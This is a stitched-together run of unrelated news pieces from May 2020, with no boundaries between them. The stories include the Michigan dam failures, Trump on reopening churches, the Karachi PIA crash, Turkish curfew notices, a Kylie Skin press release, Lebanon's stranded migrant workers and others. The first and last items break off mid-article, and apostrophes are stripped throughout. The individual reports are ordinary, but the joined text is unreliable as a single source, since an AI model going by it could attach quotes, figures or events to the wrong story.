Wasserman said the uncertainty among those staying at the shelter is pretty heavy, but hes heartened by the outpouring of support from the community.

This community just absolutely responded. Overwhelming response, Wasserman said. And my hats off to Midland.

Other area residents returned to their homes to find heavy damage. And around Wixom Lake in Midland Countys Hope Township, which lost most of its water when the Edenville Dam failed, residents wondered Thursday when, or if, it will be refilled.

Im sick about it. You know, I mean, its just sickening, said resident Glenn Hart, 66, who surveyed the lake with his grandson.

An aerial view of flooding as water overruns Sanford Dam, Mich., on May 19, 2020. (TC Vortex /via Reuters)

Usually, thats 21 feet deep out there in the cut, Hart said, pointing from his backyard to the muddy ground that used to be the lake bottom. Good fishing area. Well, theres no fish now. And we dont know when well get water again.

Mark Musselmans home is a total loss. He planned to fly to Florida later Thursday, then drive his motor home back, set it up in the driveway and oversee the tearing down of his house.

Well, everythings destroyed pretty much, Musselman said. You know, we had no way of knowing. We had plenty of time. We could have got everything out.

But we just thought that, you know, it was just going to come up. It wouldnt be any big deal, he said.

The nearly century-old Edenville Dam has been the target of lengthy investigations by federal regulators, who revoked the facilitys license two years ago due to non-compliance issues that included spillway capacity and the inability to handle the most severe flood reasonably possible. That year, the state rated the dam, built in 1924, in unsatisfactory condition.

A dam on Wixom Lake in Edenville, Mich., on May 19, 2020. (Kaytie Boomer/The Bay City Times via AP)

Officials have said the Sanford Dam, built in 1925, was overflowing but the extent of structural damage isnt yet known. It most recently received a fair condition rating.

Both are in the process of being sold.

Whitmer said Wednesday that the state would investigate the operators of the dams and pursue every line of legal recourse we have.

Midland City Manager Brad Kaye said it was fortunate that the Tittabawassee River crested at just over 35 feet (11 meters), about 3 feet (90 centimeters) below the forecast level.

Kaye warned that it could take four or five days for the floodwaters to recede, and asked residents to use caution when traveling or returning to their homes.

Dont rush out thinking that you can just rush back to your homes, because the water is still there  this is not over, Kaye said.

The National Weather Service said communities farther downstream should brace for flooding in the coming days. A flood warning was in effect Thursday along the Tittabawassee River from Midland downstream into Saginaw, and flooding in that area was possible through the weekend.

The flooding washed away some roadways, and left others impassable. Tisdale said roads must be inspected for damage that could make traveling hazardous.

Were working to get information to folks on when they can return to their houses, but stress that a lot of infrastructure gets compromised, Tisdale said.

By Mike Householder, Corey Williams, and Tammy Webber

Epoch Times staff contributed to this report.
President Donald Trump on Friday demanded that governors reopen churches, synagogues and mosques "right now," and threatened to "override" state leaders' restrictions if they do not do so by the weekend.

The surprise announcement marked the president's latest attempt to ramp up the political stakes surrounding the country's coronavirus recovery efforts. He is facing a tough reelection fight against apparent Democratic nominee Joe Biden.

Trump said it was an "injustice" that some state leaders have allowed "liquor stores and abortion clinics" to stay open amid the Covid-19 pandemic while closing houses of worship.

"It's not right," Trump said. "I'm calling houses of worship essential."

"If there's any question, they're going to have to call me, but they're not going to be successful in that call," Trump said of state leaders.

"The governors need to do the right thing and allow these very important essential places of faith to open right now, for this weekend," Trump said.

"If they don't do it, I will override the governors."

But it's far from clear if Trump has the authority to do so.

States, not the federal government, have imposed harsh restrictions on residents and businesses to try to slow the spread of the coronavirus. The White House has only released guidelines for states and regional leaders to follow as they combat the disease.

White House press secretary Kayleigh McEnany, when asked what authority allows Trump to override a governor's rules, did not provide a specific provision.

Instead, she said, "the president will strongly encourage every governor to allow their churches to reopen  and boy, it's interesting to be in a room that desperately wants to seem to see these churches and houses of worship stay closed."

A reporter in the room quickly objected to that characterization, saying that he is a churchgoer and would like to attend services again but questions remain about whether places of worship are being asked to reopen too quickly.

The 10th Amendment to the U.S. Constitution states: "The powers not delegated to the United States by the Constitution, nor prohibited by it to the States, are reserved to the States respectively, or to the people."
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Local authorities arrested a man accused of killing a woman in 2014 over an alleged drug debt in Southern New Mexico.

Deputies with the Bernalillo County Sheriffs Office, alongside U.S. Marshals, caught Matthew Faeo Sifuentes, 36, in the Albuquerque-area late Wednesday night.

Sifuentes is charged with first degree murder and tampering with evidence in the 2014 death of 31-year-old Jessica Torrez in Roswell.

The Roswell Police Departments investigation through the years following the murder led to the arrest warrant being obtained in the past several weeks, Todd Wildermuth, an RPD spokesman, said.

The year after Torrez murder, Sifuentes was arrested at the Mexico border and charged in the May 2015 death of 23-year-old Daniel Herrera, whose body was found in an unrecognizable state on the outskirts of Roswell. That case fell apart, and was eventually dismissed, due to lack of evidence.

Sifuentes remains a suspect in the Torrez homicide but has not been charged, Wildermuth told a Journal reporter at the time. Our investigators are hopeful that we might nail down more information that could lead to a arrest in the Torrez case.

According to a criminal complaint filed in Magistrate Court:

On the morning of May 1, Roswell police discovered Torrez body on the floor of her home surrounded by shell casings. Friends and relatives told officers Torrez had lost her kids to the state and fallen on hard times, using drugs.

Detectives found Sifuentes belongings, with his moniker Faeo on them, around Torrez room. They traced the shell casings to a local gun store and the workers picked Sifuentes out of a photo array as the man who bought them.

A gun seized from Sifuentes was sent to the lab for comparison against the shell casings as detectives interviewed acquaintances that said Sifuentes talked about how he killed a (expletive) because she had disrespected him.

Detectives say the investigation into the Torrez homicide went on for quite some time before the case went cold. Although Sifuentes was a suspect early on, police felt they did not have enough to charge him at that time.

In 2018, new information came to light when a woman told a detective Sifuentes told her he shot Torrez several times over a drug debt she owed. At the time Sifuentes was already serving a 46 month sentence in a federal prison on firearms charges and police decided that the arrest warrant would be obtained closer to his release date.
Chris Hoskin, who with his mother has led an effort to have his uncles killer kept behind bars, noted that Brooks had been denied parole in August 2019 based on what the parole board said at the time was the serious nature of his crimes, and that releasing him would diminish what he did.

Well, what changed in eight months? Hoskin said.

Hoskins mother, Ruthie Webster, who was Halls younger sister, said when the parole boards victims advocate called her May 4 to advise that Brooks had been granted parole, the advocate told Webster she didnt know why he was being released. But when pressed, the advocate said Brooks was being paroled under a provision of state law that allows an inmate who is 65 or older and has served at least five years of his or her sentence to petition the parole board for conditional release.

But Harrison and family members believe concerns about the spread of COVID-19 in the state prison system may also have played a role.

Hes barely served a third of his sentence, and the fact that hes walking free on the geriatric law is absolutely ridiculous, Webster said. The man was 68 when he shot my unarmed brother down to the ground.
By ANI

PATNA: The Bihar Education Department has written a letter to all District Magistrates and District Education Officers stating that the food grains in schools meant for the mid-day meal scheme are to be used for preparing food for people housed in the quarantine centres.

The order is for several government and government-aided schools that are being used as quarantine centers in the wake of coronavirus outbreak.

In the letter, RK Mahajan, Additional Chief Secretary, Bihar Education Department stated that the mid-day meal scheme is not active due to the lockdown and the district administration will provide food grains to schools once they reopen.
The total number of COVID-19 cases in Turkey rose to 153,548 on Thursday with 961 new infections reported over the last 24 hours, Health Minister Fahrettin Koca announced on his official Twitter account.

27 more fatalities brings the total death toll to 4,249.

Despite a higher number of tests, the number of positive cases remains at the predicted level, he said, pointing out that the number of patients in the intensive care units are falling as well.

In the last 24 hours 33,633 tests have been carried out, with the total number of tests reaching more than 1.7 million. A further 1,003 people have recovered from the virus, but 820 patients remain in the ICU.

The minister stressed that the lifestyle in the country has changed to a controlled social life, that everyone should take part in. The only condition: Mask + 1.5 meters of social distance, the statement read.





Read more here: https://www.dailysabah.com/turkey/turkeys-daily-covid-19-death-toll-drops-to-27/news

https://covid19.saglik.gov.tr/

Coronavirus: Whats the secret behind Turkeys success?

It is notable that among the top 10 countries with the most cases registered, including the UK, Italy, Spain, and many other European countries, Turkey has registered a lower death rate.

Anadolu Agency have produced a video giving insight into the main factors underlying the success of Turkeys struggle against the pandemic and how the process is being managed.

Read more and watch the video here: https://www.aa.com.tr/en/latest-on-coronavirus-outbreak/coronavirus-what-is-secret-behind-turkeys-success/1849581

Turkey succeeds in COVID-19 fight, eases more restrictions

A cautiously optimistic Turkey has seen a further drop in COVID-19 deaths and the latest figures indicate that, with the current trend, the daily death toll may soon drop to zero.

Strict measures still remain in place although some are being eased, such as a temporary exclusion from curfew for citizens age 65 and above who will be able to go out on Sunday May 24 between the hours of 14.00 and 20.00.

A plan for reopening cafes and restaurants in the country will soon be shared with the public, Health Minister Fahrettin Koca told a news conference following a meeting with his ministrys Coronavirus Science Board, a task force fighting the pandemic, on Wednesday.

Face masks may have to be worn for protection at least until early 2021, according to an expert. Professor Levent Yamanel, a member of the Coronavirus Science Board, said people have to get accustomed to the new normal.

Professor Pnar Okyay, another member of the board, said Turkey had 15 days ahead, referring to the extension of travel bans and other restrictions, and this period will be key to a further drop in cases. If people heed the recommendations and comply with rules, if we can pursue effective tracing efforts to find out who came in contact with new COVID-19 cases, we will see a decline in the pandemic, she told Anadolu Agency (AA) on Thursday.

Okyay warned that the danger is not exclusive to big cities like Istanbul and Ankara but also smaller cities where there is seasonal mobility including coastal towns where people have summer residences.

The pandemic has the risk of spreading to other regions which have been well protected against the virus so far. We need regional risk management and cooperation from citizens, she said.

We dont know how long the fight with the virus will continue, so we are planning life around the measures,  Health Minister Fahrettin Koca

Read the full article here: https://www.dailysabah.com/turkey/turkey-succeeds-in-covid-19-fight-eases-more-restrictions/news?gallery_image=undefined#big

Four-day curfew starts at midnight tonight

The four-day curfew in all 81 provinces imposed by the government to prevent the spread of the virus over Eid, will start at midnight tonight (22 May 2020)

The Ministry of the Interior have sent a circular with details of the four-day curfew to Turkeys 81 provincial governorships.

Before the curfew:

On Thursday 21 May and Friday 22 May, markets, grocery stores, greengrocers, butchers and dried fruits can carry out their business activities until 23:00.

During the curfew:

On Saturday 23 May, people (except those aged 65 and over and 20 and below) will be allowed to go to the nearest markets and grocery stores* for essential items from 10:00 to 17:00

* Refers to stores within walking distance  NOT DRIVING DISTANCE.

All stores are closed on 24-25-26 May.

Restaurants and lokantas are allowed to offer a home delivery service only on Saturday 23 May, Sunday 24 May, Monday 25 May and Tuesday 26 May for the occasion of the Ramadan Feast.

Bakery vans will circulate round the area selling bread. Listen out for them blowing their car horns.

Relatives can visit graves on Sunday 24 May.

Citizens over 65 will be able to go out on Sunday May 24 between the hours of 14.00 and 20.00

The curfew will end at midnight on Tuesday 26 May 2020.

Source: Ministry of the Interior

Questions and Answers on Coronavirus (COVID-19)  update on the use of swimming pools





There is still a lot of uncertainty around whether or not swimming pools can be filled and used.

Fethiye Times has had the following official update from the Mayors office.

Hotel, motel, and public pools are still closed.

There are no restrictions for private pools and they can be filled and used.

Communal pools on private complexes can be filled and used as long as the following rules are adhered to:

Residents should not use the pool at the same time as other residents in the complex (apart from members of their families who live in the same household).

Social distancing rules must be followed in communal areas around the pool.

This information is correct as of Friday 22 May 2020.

Questions and Answers on Coronavirus (COVID-19)

Global statistics

There are now 5,232,431 confirmed cases of COVID-19 globally, of which 2,112,080 have recovered. The number of fatalities stands at 335,636.

Source: Worldometer.

Follow Fethiye Times on social media for regular updates.

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Todays featured image: Oludeniz from the Lycian Way by Lyn Ward
The Minority in Parliament has called on government to address the acute water shortage in parts of Accra and its environs likely to exacerbate the fight against the COVID-19 pandemic.



According to the Caucus, Accra, being the epicenter of the Coronavirus cases in Ghana over the past week, had suffered a nauseating water shortage which is really biting hard on the people.



Some of the affected areas include; Adenta, Madina, La, Achimota, Ashaiman, Tema, Kasoa among others.



Mr Emmanuel Kwasi Bedzrah, Ranking Member on Works and Housing Committee, speaking to the Media in Parliament said governments promise to provide free water to residents in the Greater Accra Region and ensure water tanker delivery service to areas with no pipelines was defied.



The current water shortage in Accra and its environs has come at a time President Nana Akufo-Addo announced to the nation, that as part of mitigating measures against the COVID-19 pandemic, a three-month-April, May, June- period of free water supply to households would be free.



The free water to citizens as announced by the President was not limited to fixed pipes, but also included; Mobile Water Tank delivery to homes where there were no water supplies through public main pipes.



Mr Bedzrah also maintained that the water challenges in Accra were not only rendering the countrys fight against the pandemic ridiculous, but fruitless.



He said most Ghanaians especially residents in and around Accra were excited when the President announced the measures during his nationwide broadcast on Sunday 5th April 2020.



He stated that the Minister for Sanitation and Water Resources later corroborated the Presidents announcement by providing details of the directives to the public.



As we may all be aware, one of the preventive measures/protocols for COVID-19 is regular washing of hands with soap under running water. Unfortunately, under the current circumstances, residents in Accra are confronted with an acute water shortage and one wonders how practicable it would be for them to wash their hands under non-existent running water, let alone use same for domestic and industrial purposes, he added.



Mr Bedzrah indicated that the Presidents announcement of a programme such as free water to households may earn him a loud applause, and may be useful for propaganda purposes, but the problem with such pronouncements, which were biting hard now was the Governments readiness and capacity to deliver on these flamboyant announcements.

Source: GNA









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

Featured Video
KARACHI, Pakistan - When the plane jolted violently, Mohammad Zubair thought it was turbulence. Then the pilot came on the intercom to warn that the landing could be troublesome.

Moments later, the Pakistan International Airlines flight crashed into a crowded neighbourhood near Karachis international airport, killing 97 people, all of whom are believed to be passengers and crew members. Zubair was one of just two surviving passengers.

Meeran Yousaf, the provincial Health Department spokeswoman, said only 21 of the bodies from Fridays crash have been identified and that most of the bodies were badly burned. Eight people on the ground were injured. Three remained hospitalized and all residents are accounted for, she said.

The plane crashed at 2:39 p.m. near Jinnah International Airport, in the poor and congested residential area known as Model Colony. PIA spokesman Abdullah Hafiz Khan said the aircraft destroyed or heavily damaged 18 homes.

Civil Aviation Authority spokesman Abdul Sattar Kokhar said the Airbus A320 was carrying 91 passengers and eight crew members. The only other survivor of the crash was Zafar Masood, a bank executive.

In a telephone interview from his hospital bed, Zubair, a mechanical engineer, said flight PK8303 had taken off on time from the eastern city of Lahore at 1 p.m. It was a smooth, uneventful flight until the aircraft began its descent near Karachi shortly before 3 p.m.

He said the aircraft made three attempts to land, once seeming to almost land and then take off again.

Suddenly the plane jerked violently, once and then again, said Zubair. The aircraft turned and the pilots voice came over the intercom. They were experiencing engine trouble and the landing could be troublesome, the pilot said. That was the last thing Zubair remembered until he woke up in a scene of chaos.

I saw so much smoke and fire. I heard people crying, children crying.

He crawled his way out of the smoke and rubble, and was eventually pulled from the ground and rushed into an ambulance.

Im very thankful to Allah for granting me a second life, he said. It is a miracle.

Pakistan had only earlier this week resumed domestic flights ahead of Eid-al Fitr, which marks the end of the holy month of Ramadan. Many of the passengers aboard the flight were families returning home for the holiday, said Science Minister Fawad Ahmed Chaudhry.

Between the coronavirus pandemic and the plane crash, this year has been a catastrophe, he said.

What is most unfortunate and sad is whole families have died, whole families who were travelling together for the Eid holiday, he told The Associated Press.

Social media and local news reports said Zara Abid, an actor and an award-winning model, was among those killed. A senior banker, his wife and three young children were also reportedly killed. Shabaz Hussein, whose mother died in the crash, told The Associated Press he identified her body at a local hospital and was waiting to take it away for burial.

The airliner plowed into the crowded Model Colony neighbourhood as many of the men of of the area were gathered at nearby mosques for weekly Friday prayers, perhaps explaining why the number of injured on the ground was just eight, mostly women and children. Only three were still hospitalized, said the Sindh Health Department spokeswoman, and all the residents of the 18 homes that were damaged by the crash were accounted for.

The men were praying at the nearby mosque, Masjid-e-Bilal, which is 100 metres from where the plane crashed, said resident Amir Chaudhry, whose sister was injured when the airliner crashed into the neighbourhood.

Pakistan has been in a countrywide lockdown since mid-March because of the coronavirus, and when flights resumed every other seat was left vacant to promote social distancing.

Southern Sindh province, of which Karachi is the capital, is the epicenter of Pakistans outbreak, with nearly 20,000 of the countrys more than 50,000 cases. Pakistan has reported 1,101 deaths from the COVID-19 disease caused by the virus.

A transmission of the pilots final exchange with air traffic control, posted on the website LiveATC.net, indicated he had failed to land and was circling to make another attempt.

We are proceeding direct, sir  we have lost engine, the pilot said.

Confirm your attempt on belly, the air traffic controller said, offering a runway.

Sir, mayday, mayday, mayday, mayday Pakistan 8303, the pilot said before the transmission ended.

PIA Chairman Arshad Malik told reporters Friday in Karachi that an independent inquiry would be held but said the aircraft was in good working order. On Saturday, Pakistans Aviation Minister Ghulam Sarwar Khan told reporters the inquiry report will be done in three months and its findings presented to Parliament. The black box that will detail the final moments of the flight was recovered within hours of the crash and is with authorities.

Airworthiness documents showed the plane last received a government check on Nov. 1, 2019. PIAs chief engineer signed a separate certificate April 28 saying all maintenance had been conducted. It said the aircraft is fully airworthy and meets all the safety standards.

Ownership records for the Airbus A320 showed China Eastern Airlines flew the plane from 2004 until 2014. The plane then entered PIAs fleet, leased from GE Capital Aviation Services.

Airbus said the plane had logged 47,100 flight hours and 25,860 flights as of Friday. The plane had two CFM56-5B4 engines.

Airbus said it would provide technical assistance to investigators in France and Pakistan, as well as the airline and engine manufacturers.

We at Airbus are deeply saddened by the tragic news of flight #PK8303, tweeted Executive Director Guillaume Faury. In aviation, we all work hard to prevent this. Airbus will provide full assistance to the investigating authorities.

______

Associated Press writers Jon Gambrell, in Dubai, United Arab Emirates; Kathy Gannon and Munir Ahmed in Islamabad, and Asim Tanvir, in Multan, Pakistan, contributed to this report.
A Kilerkley lorry driver, Richard Woods has been jailed for four years in Belgium after a court heard how he was part of a human trafficking enterprise to bring people into the UK.

He was first arrested in October - days before the Essex lorry deaths - after 17 Albanians were found hidden in the back of his haulage at a port in Zeebrugge.

Prosecution documents show that the haulier was unable to provide documents showing who his employer was or who owned the haulage to Zeeebrugge. Despite this Woods was released after there was insufficient evidence to charge him.

However, investigators from the West Flemish Federal Judicial Police (FGP) tapped his phone and listened in on numerous conversations with criminal associates.

On the very same day he was arrested, theyheard Woods speak to multiple people, using alias names, about the people smuggling operation and the fact he knew the Albanians were inside the trailer.

The wire tapped calls on October 18 also revealed how he was due to pick up a second trailer, also filled with human-trafficking victims, in France.

By the time Belgian officers had dissected the information Woods had returned to his cottage in Cortial, Kilkerley.

But in January the 32-year-old was arrested in France on the foot of a European ArrestWarrant. He was transferred to custody in Belgium where he appeared before a criminal court.

Prosecutor Frank Demeester told a judge that in one telephone call to an associate, Woods spoke of his regret at having lost out on picking up a second people-packed trailer in France.

But Woods' lawyer called his client's wiretapped claims 'Irish humour' and 'nonsense', and asked for him to be acquitted.

However, the Bruges judge did not see the funny side, not only jailing the 32-year-old for four years, but also fining him 136,000. He will only have to pay a quarter of that, unless he commits further crimes.
The thought that Trump would ignore warnings from the Food and Drug Administration and deliberately ingest a drug that could have serious side effects was disturbing. Equally upsetting, however, was the thought that the president may have taken to the airwaves to tell a flat-out lie. Why should we believe hes taking the drug? After all, America has come to this: a president of the United States whose word cannot be trusted.
Coty Inc. (NYSE:COTY) announces today the launch of Kylie Skin at Douglas, making one of the fastest-growing and most-engaged beauty brands on social media available to customers in Europe.

Kylie Jenner is one of the world's most admired personalities with over 250 million followers across her personal and brand social media channels, as well as being one of the most influential voices among beauty consumers globally. Kylie Skin launched in May 2019 and quickly became a top-selling skin care brand in the US. On its first anniversary, the brand will roll out in full distribution to over 2,000 doors in 25 countries with the Douglas Group, a leading multichannel premium beauty retailer.

"I am so excited to be celebrating Kylie Skin's first birthday by launching in Europe, at Douglas," said Kylie Jenner. "The creation of my skincare line was an incredible process for me, from designing the packaging to developing and perfecting the formulas that are now a part of my day to day skincare routine. So many of my fans have been asking me to make my skincare available in Europe, and I'm so happy that they'll now be able to make my favorite products a part of their daily lives, too."

"We have started to build a strong foundation to support our strategic partnership with Kylie Jenner. The launch of Kylie Skin in Europe is a next step as we accelerate the integration and build Kylie Jenner's beauty businesses into a global powerhouse brand," said Simona Cattaneo, President Luxury Brands at Coty.

Douglas will offer six different products from the Kylie Skin line, including the Foaming Face Wash, Walnut Face Scrub, Face Moisturizer, Eye Cream, Vanilla Milk Toner and Vitamin C Serum. All products are cruelty-free, vegan, gluten free, paraben and sulfate free and suitable for all skin types.

About Coty Inc.

Coty is one of the world's largest beauty companies with an iconic portfolio of brands across fragrance, color cosmetics, hair color and styling, and skin and body care. Coty is the global leader in fragrance, a strong number two in professional hair color styling, and number three in color cosmetics. Coty's products are sold in over 150 countries around the world. Coty and its brands are committed to a range of social causes as well as seeking to minimize its impact on the environment. For additional information about Coty Inc., please visit www.coty.com.

About Kylie Jenner

Kylie? Jenner is one of the world's most-followed people on social media with a combined following of over 250 million users and counting. Featured as the youngest-ever self-made billionaire on the cover of Forbes Self-Made Billionaire issue, August 2018, Kylie is a successful entrepreneur, beauty mogul, fashion designer, author, TV personality and style icon. In November 2015, Kylie launched her cosmetics brand, Kylie Cosmetics, inspired by her love for makeup and passion for business. The debut product, the Kylie Lip Kit, was a sell-out success and her eCommerce site KylieCosmetics.com is one of the most successful online stores in the world today. Kylie has expanded the collection beyond lip products to include offerings like eyeliners, eyeshadows, blushes, highlighters, concealers, brushes, and makeup bags as well as creating limited edition sets launched throughout the year. Soon after launching Kylie Cosmetics, Kylie dreamed of launching Kylie Skin, as cosmetics and skincare go hand in hand. In May 2019, Kylie Skin launched online with six products that are cruelty free, vegan, gluten free, paraben and sulfate free and suitable for all skin types. The launch was a sell out success, and the brand has gone on to partner with mega beauty retailer, Ulta Beauty in the US. Since launch, Kylie has expanded the collection to include body and lip products and continues to formulate new product launches. Kylie's charitable endeavors include major contributions to Smile Train and Teen Cancer America.

View source version on businesswire.com: https://www.businesswire.com/news/home/20200522005198/en/

Contacts:

For more information, please contact:

Investor Relations

Olga Levinzon, +1 212 389 7733

olga_levinzon@cotyinc.com



Media for Coty

Andra Mielnicki, +33 7 76 14 69 58

Andra_Mielnicki@cotyinc.com



Lisa Kessler, +1 917 348 3373

Lisa_Kessler@cotyinc.com



Media for Kylie Jenner

Christy Welder, +1 212 995 2147

cwelder@fullpic.com
The work on metro and the highway connecting Katraj to Navale bridge, two major development projects in Pune, is hit after many migrant labourers left for their native places because of the Covid-19 (coronavirus) spread.

Though Maharashtra Metro Rail Corporation Limited (Maha-Metro) got the nod from Pune Municipal Corporation (PMC) to resume work and complete the pre-monsoon operations, the former face at least 50 per cent workforce shortage.

The lockdown halted the metro work in the city and now we face labour shortage with migrant labourers returning to their hometowns. During the lockdown, we had 2,843 labourers working with the contractor. With 1,500 workers leaving for their hometowns, we are left with only around 1,300 to work on-site, said Hemant Sonawane, general manager, public relations Maha-Metro.

He said, It is essential for us to complete some of the crucial work on the riverfront and the riverbed before the monsoon. Hence, we have diverted all the remaining manpower to work on these critical areas and on junctions with almost no traffic.

Sonawane said that while the departure of labourers has caused a setback, contractors are revising plans to ensure that work deadlines are met.

Atul Gadgil, Maha-Metro director, said, We are managing with only 25 per cent manpower. Only pre-monsoon related critical works are going on. Earlier, our deadline for trial run was April 2020, but now it depends on the availability of labour and other administrative related things.

According to Gadgil, Maha-Metro has decided to demolish two foot-over-bridges (FOBs) located at Kharalwadi and Vallabhnagar after Pimpri-Chinchwad Municipal Corporation (PCMC) okayed the task. PMC has suggested demolition of FOB at Nal stop, but a decision is awaited.

PMC approved the work of six-laning of a stretch from Navale bridge to Katraj in November 2019, but the Covid-19 crisis has delayed the project.

Although the Public Works Department (PWD) began a trial patch of 300 metres, with two layers of work done for the road widening from the Navale bridge side, work came to a halt due to the coronavirus pandemic.

Thirty labourers plus engineers and contractors were at work on site, but many workers left for their native places leaving the site with only engineers, said Rahul Kulkarni, assistant engineer, PWD for National Highway.

If only we had received the permission to begin work earlier than April 15, 2020, we could have begun work as labourers would have been there. We have machinery on-site, but no drivers or operators, he said.

Kulkarni also raised his apprehension about whether the labourers would return to work after undergoing 14-day quarantine.

We had approached PMC five months ago for permissions from tree authority to transplant or cut 232 trees along the service road from Navale bridge to Katraj. We are still awaiting a hearing, while the forest department has given us the go ahead, Kulkarni said.

Since the road is part of the urban stretch and not a complete highway, there are several utility lines which have still not been moved, he added.

The PWD official is confident that the project will be finished within deadline after an extension of six months was announced by the government.
Press Release

May 22, 2020 Recto: Time to write off CARP loans of small farmers Senate President Pro Tempore Ralph Recto today called for Senate action on his bill condoning all the debts farmers incurred in owning lands under the government's Comprehensive Agrarian Reform Program (CARP). He made the appeal following the approval by the House of Representatives on Wednesday of a bill that contains his proposal. Recto's measure seeks the write-off of all unpaid amortizations, interest, penalties and surcharges on loans secured under CARP. Once this mass amnesty of farmer's obligations is approved by law, "the agrarian reform beneficiaries shall be deemed rightful owners of the lands awarded to them." "This is one COVID-response measure worth approving. If greater food production is what we should be doing to cushion the economic impact of the pandemic, then it is an incentive for those who feed us all," he said. "Emancipation from debt is what they also need," Recto said. Recto said the total amount of land reform loans for forgiveness is small compared to the hundreds of billions in private sector loans which had been written off over the past 40 years. "We have bailed out banks, paid for white elephant projects, amortized foreign loans of dubious benefits, lost money in bankrupt firms, and entered into joint ventures which left us holding the bag," Recto said. He said a succession of governments has been generous to corporate deadbeats whose loans we guaranteed and eventually assumed. "We should extend the same consideration to the farming poor," he lamented, adding that government has always been a "white knight" to many private corporations in distress. Recto said condoning the loans will be a big load off farmer's backs and also from offices that manage these receivables. In one official report, only P2.5 billion of the P14.3 billion in amortization for loans granted to awardees of CARP from 1987 to 2004 was paid. Collection performance by the Land Bank of the Philippines on CARP loans, on the other hand, was about 51% as of March 2015. "There is a huge administrative cost in managing this important aspect of the agrarian reform program. In fact, in one study, the system to collect loan payments from CARP beneficiaries was not fully put in place due to the high costs required," Recto explained. While farmers' debts will be condoned, landowners whose properties were subjected to land distribution will still be paid, Recto explained. "Their right to be paid on time and based on the legal contracts will be honored and will not be impaired," Recto said. Recto's bill limits the condonation to CARP loans "and is not a 100% write-off of all agricultural debts, because if we will do the latter, then those who had maliciously wasted millions in other programs will get a free pass."
* Dollar shortage leaves domestic workers stranded

* Coronavirus pandemic hinders repatriation efforts

* Embassy and NGO shelters full

* Migrant workers long marginalised in Lebanon

By Ellen Francis and Imad Creidi

BEIRUT, May 21 (Reuters) - Temitope can't find work in Lebanon since the Nigerian domestic worker escaped her employer's house last month.

With Lebanon in deep financial crisis and dollars in short supply, people have less money to spend on help. And with Beirut airport shut under a coronavirus lockdown, Temitope can't go back home even if she tries.

"I'm very afraid. There's not a day that I don't cry... without any money even to eat now," said Temitope, who climbed down a building after her employer beat her until she bled. She now lives with friends, relying on any cash they can give her.

Like many African and Asian women in Lebanon, Temitope, a mother of two, was recruited for work and came so she could send money home to her family.

But dollar shortages piling pressure on hundreds of thousands of migrant workers in Lebanon have left some stranded in the streets and many begging to go home. Rights groups warn this puts workers at risk of abuse and trauma.

Embassy and NGO shelters are saturated.

Since Lebanon plunged into crisis late last year, the local currency has lost more than half its value. Prices have soared as more Lebanese slide into poverty.

The coronavirus pandemic has also hampered government efforts to repatriate workers via their embassies, and even those flights require payment in dollars.

"There's more need than ever before for shelters...for those who lost jobs and have no place else to go," said Zeina Mezher of the International Labour Organization.

Activist groups say they field regular calls from unpaid domestic workers who have been kicked out or escaped their employer's households.

"SLAVERY"

Migrant workers form the backbone of sectors like waste collection and housekeeping in Lebanon, where many barely have any rights, face widespread racism and sometimes commit suicide.

Story continues

Most women work as maids under a sponsorship system called "kafala" that even the former labour minister likened to slavery. It prevents them from leaving without the employer's consent, with salaries as low as $150 a month.

Last month, police interrogated a man who tried to sell a Nigerian housekeeper for $1,000 on Facebook.

"The crises, whether it's coronavirus or the economy, expose the flaws in the kafala system," Mezher said.

The prime minister's wife sparked controversy last week when she called on Lebanese - facing rising unemployment - to take up jobs usually filled by foreigners like housekeeper or doorman.

Bangladeshi trash collectors went on strike for weeks after the firm managing waste in Beirut, RAMCO, switched to paying them in Lebanese pounds, undermining the value of their wages.

When workers stopped garbage trucks from going out in protest last week, riot police arrived, firing smoke bombs and beating some of them.

Mohamad Ilahi, one of the workers, has not sent money to his wife and two daughters in Bangladesh for months. "My family cries a lot," he said. "They can't pay school fees, can't buy enough food."

He said the firm had finally agreed to a pay raise in local currency.

RAMCO manager Walid BouSaad said the company had no choice because the Lebanese state, its main customer, stopped paying in dollars late last year, on top of millions the government owes in arrears. "It is the worker's right to ask for payment in dollars," he said. "But some things are out of our hands."

For Ilahi, the future in Lebanon remains uncertain. "I want to work. But without a solution, there's no use for me here," he said. "I will want to leave then. All of us will." (Writing by Ellen Francis Editing by Mark Heinrich)
Nepal on Friday accepted its 26 Tablighi Jamaat members stuck in Uttar Pradesh's Bahraich district due to the coronavirus lockdown, agreeing to the suggestion from Indian authorities after two days of persuasion, officials said.

During this period, 2,738 Nepalese stranded in UP went back to their country through the Rupaidiha border while 2,811 Indians in Nepal also crossed over through it, they said.

But the Nepal authorities insisted they could not allow the Tablighi Jamaat members through this border because they did not belong to Nepal's districts adjacent to the Rupaidiha border, they added.

They had been asking Indian authorities to repatriate them through other stretches of borders adjacent to their respective districts, said Indian officials.

Bahraich Superintendent of Police Vipin Mishra said Nepalese authorities had been refusing to take back these 26 Tablighi Jamaat members primarily because they had participated in a religious meet at Nizamuddin in New Delhi in March, attended by nationals of many other countries, who were later found coronavirus positive, they said.

They were sent today. They were being denied access earlier primarily because of their participation in the Delhi markaz, SP Mishra told PTI.

Over 2,700 Nepalese nationals who were allowed access to their country through the Rupaidiha border during the last two days belonged to Nepal's districts like Bankey, Dang, Bardiya and Rukum adjacent to that stretch of the international border, the SP said.

The Tablighi Jamaat members too had been insisting upon the authorities of the two countries that they hail from Bankey district in Nepal across the Rupaidiha border itself, the SP said.

The matter, however, was sorted out at higher level and the Nepal authorities eventually accepted these Tablighi Jamaat members as well, the SP said.

The SP also said the Nepalese officials of the bordering districts are not cooperating during this hour of crisis and are not willingly taking back their citizens, stranded in India.

They also do not respond to phone calls or WhatsApp messages, he said, adding that for contact them, we have to send our SHOs and this is delaying the exchange of people stranded on both sides of the border.

During Wednesday and Thursday, India and Nepal exchanged over 5,500 of their nationals stuck in the two countries amid the COVID-19 lockdown through the Rupaidiha border, he said.

Prior to that, 1,800 citizens were exchanged including 1,074 Indians and 723 Nepalese.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
U.S. authorities on Wednesday arrested a former U.S. Army Special Forces soldier and another man in Massachusetts wanted by Japan on charges that they enabled the escape of former Nissan Motor Co boss Carlos Ghosn out of the country.

Former U.S. Green Beret Michael Taylor, 59, and his son, Peter Taylor, 27, are accused by Japanese authorities of helping Ghosn last year flee to Lebanon to avoid trial over alleged financial wrongdoing.

